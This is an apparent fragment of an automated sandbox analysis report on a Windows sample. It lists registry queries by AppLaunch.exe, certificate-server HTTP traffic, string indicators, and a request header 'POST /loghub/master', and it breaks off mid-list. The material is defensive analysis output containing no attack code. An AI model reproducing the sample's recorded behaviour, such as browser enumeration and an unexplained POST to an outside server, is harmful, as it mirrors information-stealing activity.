(Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "ENABLEDHCP"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTRATIONENABLED"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTERADAPTERNAME"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DHCPDOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")76:T536,"AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\CLIENTS\STARTMENUINTERNET"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\FIREFOX-308046B0AF4A39CB\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE\SHELL\OPEN\COMMAND"; Key: ""; Value: "")77:T4144,"GET /DigiCertGlobalRootG3.crt HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: cacerts.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 2895 cache-control: max-age=172800 public Content-Type: application/pkix-cert Date: Sat 11 Nov 2023 13:37:28 GMT Etag: "614b5ba7-243" expires: Mon 13 Nov 2023 13:37:28 GMT last-modified: Wed 22 Sep 2021 16:36:55 GMT Server: ECAcc (sac/253C) X-Cache: HIT Content-Length: 579 with response body ==>3082023F308201C5A0030201020210055556BCF25EA43535C3A40FD5AB4572300A06082A8648CE3D0403033061310B3009060355040613025553311530130603....... "GET /DigiCertGlobalRootG3.crt HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: cacerts.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 2901 cache-control: max-age=172800 public Content-Type: application/pkix-cert Date: Sat 11 Nov 2023 13:37:34 GMT Etag: "614b5ba7-243" expires: Mon 13 Nov 2023 13:37:34 GMT last-modified: Wed 22 Sep 2021 16:36:55 GMT Server: ECAcc (sac/253C) X-Cache: HIT Content-Length: 579 with response body ==>3082023F308201C5A0030201020210055556BCF25EA43535C3A40FD5AB4572300A06082A8648CE3D0403033061310B3009060355040613025553311530130603....... "GET /DigiCertGlobalRootG3.crt HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: cacerts.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 2902 cache-control: max-age=172800 public Content-Type: application/pkix-cert Date: Sat 11 Nov 2023 13:37:35 GMT Etag: "614b5ba7-243" expires: Mon 13 Nov 2023 13:37:35 GMT last-modified: Wed 22 Sep 2021 16:36:55 GMT Server: ECAcc (sac/253C) X-Cache: HIT Content-Length: 579 with response body ==>3082023F308201C5A0030201020210055556BCF25EA43535C3A40FD5AB4572300A06082A8648CE3D0403033061310B3009060355040613025553311530130603....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 4867 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 11 Nov 2023 13:37:38 GMT Last-Modified: Sat 11 Nov 2023 12:16:31 GMT Server: ECAcc (sac/2522) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA216041403DE503556D14CBB66F0A3E21B1BC397B23DD155180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 4870 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 11 Nov 2023 13:37:41 GMT Last-Modified: Sat 11 Nov 2023 12:16:31 GMT Server: ECAcc (sac/2522) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA216041403DE503556D14CBB66F0A3E21B1BC397B23DD155180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5176 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 11 Nov 2023 13:37:42 GMT Last-Modified: Sat 11 Nov 2023 12:11:26 GMT Server: ECAcc (sac/2568) X-Cache: HIT Content-Length: 312 with response body ==>308201340A0100A082012D3082012906092B06010505073001010482011A3082011630819EA2160414B3DB48A4F9A1C5D8AE3641CC1163696229BC4BC6180F32....... "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 1445 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sat 11 Nov 2023 12:49:34 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 2889 with response body ==>308205A10A0100A082059A3082059606092B0601050507300101048205873082058330819EA2160414D49BADF2AB3CB9FF1A3E0C506DCF192780868DAA180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAz1vQYrVgL0erhQLCPM8GY%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 78 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 11 Nov 2023 13:37:44 GMT Last-Modified: Sat 11 Nov 2023 13:36:26 GMT Server: ECAcc (sac/253E) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604144E2254201895E6E36EE60FFAFAB912ED06178F39180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 4873 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 11 Nov 2023 13:37:44 GMT Last-Modified: Sat 11 Nov 2023 12:16:31 GMT Server: ECAcc (sac/2522) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA216041403DE503556D14CBB66F0A3E21B1BC397B23DD155180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 4874 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 11 Nov 2023 13:37:45 GMT Last-Modified: Sat 11 Nov 2023 12:16:31 GMT Server: ECAcc (sac/2522) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA216041403DE503556D14CBB66F0A3E21B1BC397B23DD155180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 4875 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 11 Nov 2023 13:37:46 GMT Last-Modified: Sat 11 Nov 2023 12:16:31 GMT Server: ECAcc (sac/2522) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA216041403DE503556D14CBB66F0A3E21B1BC397B23DD155180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 4877 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 11 Nov 2023 13:37:48 GMT Last-Modified: Sat 11 Nov 2023 12:16:31 GMT Server: ECAcc (sac/2522) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA216041403DE503556D14CBB66F0A3E21B1BC397B23DD155180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1 Cache-Control: max-age = 7200 Connection: Keep-Alive Accept: */* If-Modified-Since: Sat, 11 Nov 2023 12:11:26 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 304 Not Modified Accept-Ranges: bytes Age: 5183 Cache-Control: max-age=7200 Date: Sat 11 Nov 2023 13:37:49 GMT Last-Modified: Sat 11 Nov 2023 12:11:26 GMT Server: ECAcc (sac/2568) X-Cache: HIT with response body ==>....... "GET /gtsr1/gtsr1.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crl.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 854 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Sat 11 Nov 2023 13:30:20 GMT Expires: Sat 11 Nov 2023 14:20:20 GMT Cache-Control: public max-age=3000 Age: 451 Last-Modified: Mon 18 Sep 2023 16:18:00 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding with response body ==>308203523082013A020101300D06092A864886F70D01010B05003047310B300906035504061302555331223020060355040A1319476F6F676C65205472757374....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5464 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 11 Nov 2023 13:37:52 GMT Last-Modified: Sat 11 Nov 2023 12:06:48 GMT Server: ECAcc (sac/254A) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA2160414B13EC36903F8BF4701D498261A0802EF63642BC3180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 4881 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 11 Nov 2023 13:37:52 GMT Last-Modified: Sat 11 Nov 2023 12:16:31 GMT Server: ECAcc (sac/2522) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA216041403DE503556D14CBB66F0A3E21B1BC397B23DD155180F32....... "GET /gsr1/gsr1.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crl.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 1739 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Sat 11 Nov 2023 13:07:28 GMT Expires: Sat 11 Nov 2023 13:57:28 GMT Cache-Control: public max-age=3000 Age: 1825 Last-Modified: Mon 09 Oct 2023 07:18:00 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding with response body ==>308206C7308205AF020101300D06092A864886F70D01010B05003057310B300906035504061302424531193017060355040A1310476C6F62616C5369676E206E....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D HTTP/1.1 Cache-Control: max-age = 7200 Connection: Keep-Alive Accept: */* If-Modified-Since: Sat, 11 Nov 2023 12:11:26 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 304 Not Modified Accept-Ranges: bytes Age: 5188 Cache-Control: max-age=7200 Date: Sat 11 Nov 2023 13:37:54 GMT Last-Modified: Sat 11 Nov 2023 12:11:26 GMT Server: ECAcc (sac/2568) X-Cache: HIT with response body ==>....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAyrYs0K8fIgDBkW1BOTO8g%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 4908 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 11 Nov 2023 13:37:55 GMT Last-Modified: Sat 11 Nov 2023 12:16:07 GMT Server: ECAcc (sac/2516) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604145168FF90AF0207753CCCD9656462A212B859723B180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAx5qUSwjBGVIJJhX%2BJrHYM%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5617 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 11 Nov 2023 13:37:55 GMT Last-Modified: Sat 11 Nov 2023 12:04:18 GMT Server: ECAcc (sac/2507) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA2160414B13EC36903F8BF4701D498261A0802EF63642BC3180F32....... "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 724 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sat 11 Nov 2023 12:59:15 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 2320 with response body ==>308202D00A0100A08202C9308202C506092B0601050507300101048202B6308202B230819BA2160414E4AF2B26711A2B4827852F52662CEFF08913713E180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnxLiz3Fu1WB6n1%2FE6xWn1b0jXiQQUdIWAwGbH3zfez70pN6oDHb7tzRcCEAp6FnkBkACKqk%2BVbKsyAbY%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5313 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 11 Nov 2023 13:37:56 GMT Last-Modified: Sat 11 Nov 2023 12:09:23 GMT Server: ECAcc (sac/2505) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA2160414748580C066C7DF37DECFBD2937AA031DBEEDCD17180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAx5qUSwjBGVIJJhX%2BJrHYM%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5619 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 11 Nov 2023 13:37:57 GMT Last-Modified: Sat 11 Nov 2023 12:04:18 GMT Server: ECAcc (sac/2507) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA2160414B13EC36903F8BF4701D498261A0802EF63642BC3180F32....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEFumwYk78npkEGIa84czXqQ%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sat 11 Nov 2023 13:00:41 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 2236 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTk45WiKdPUwcMf8JgMC07ACYqr2AQUt2ui6qiqhIx56rTaD5iyxZV2ufQCEAqiBEK%2F1RSvcy4lL46SQ4M%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5036 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Sat 11 Nov 2023 13:38:07 GMT Last-Modified: Sat 11 Nov 2023 12:14:12 GMT Server: ECAcc (sac/253A) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA2160414B76BA2EAA8AA848C79EAB4DA0F98B2C59576B9F4180F32.......78:T591,Found string "" (Indicator: "text/javascript"; File: "UO2H6G3B.htm") Found string "" (Indicator: "text/javascript"; File: "UO2H6G3B.htm") Found string "" (Indicator: "text/javascript"; File: "UO2H6G3B.htm") Found string "" (Indicator: "text/javascript"; File: "UO2H6G3B.htm") file/memory contains long string with (Indicator: "text/javascript"; File: "urlref_httpstwitter.comiflowlogin")79:T1060,Observed system executable string:"C:\Windows\system32\apphelp.dll" [Source: 00002052.00000804.8239464.00050000.wprm] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"" [Source: 00000000-00003404-00000BC1-13881062] Observed system executable string:"%WINDIR%\system32\advpack.dll" [Source: 00000000-00003404-00000C25-19804734] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"" [Source: 00000000-00000300-00000BC1-14276690] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"" [Source: 00000000-00003596-00000BC1-20734674] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP003.TMP\"" [Source: 00000000-00002052-00000BC1-14965811] Observed system executable string:"%WINDIR%\System32\ieframe.dll" [Source: 00000000-00003164-00000C25-16070134] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00003780-00000C25-80582520] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00003780-00000C25-82512793] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00003780-00000C25-84343170] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll" [Source: 00000000-00003780-00000C25-88419643] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" [Source: 00000000-00003780-00000C25-90093570] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00003780-00000C25-91140323] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll" [Source: 00000000-00003780-00000C25-91208561] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll" [Source: 00000000-00003780-00000C25-92774301] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\WindowsBase\1a4cc316fb6d09525321fc0be44692d8\WindowsBase.ni.dll" [Source: 00000000-00003780-00000C25-98354048] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\PresentationCore\468f4e17be144ca12a73a4297eacc9cc\PresentationCore.ni.dll" [Source: 00000000-00003780-00000C25-99611019] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\252cc7b0fae8cfe083bdc149957c0c54\PresentationFramework.ni.dll" [Source: 00000000-00003780-00000C25-100097647] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" [Source: 00000000-00003780-00000C25-104738774] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll" [Source: 00000000-00003780-00000C25-105077493] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\WPF\wpfgfx_v0400.dll" [Source: 00000000-00003780-00000C25-105990343] Observed system executable string:"%WINDIR%\system32\en-US\tzres.dll.mui" [Source: 00000000-00003780-00000C25-107475249] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\SMDiagnostics\dc67dcb4b2fb4a3853d458cab08561f0\SMDiagnostics.ni.dll" [Source: 00000000-00003780-00000C25-111852915] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Transactions\3d760b4a3260a41ef84a3fd866780980\System.Transactions.ni.dll" [Source: 00000000-00003780-00000C25-119172372] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" [Source: 00000000-00003780-00000C25-120425000]7a:T708,Found http requests in header "POST /loghub/master" Found http requests in header "GET /DigiCertGlobalRootG3.crt" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D" Found http requests in header "GET 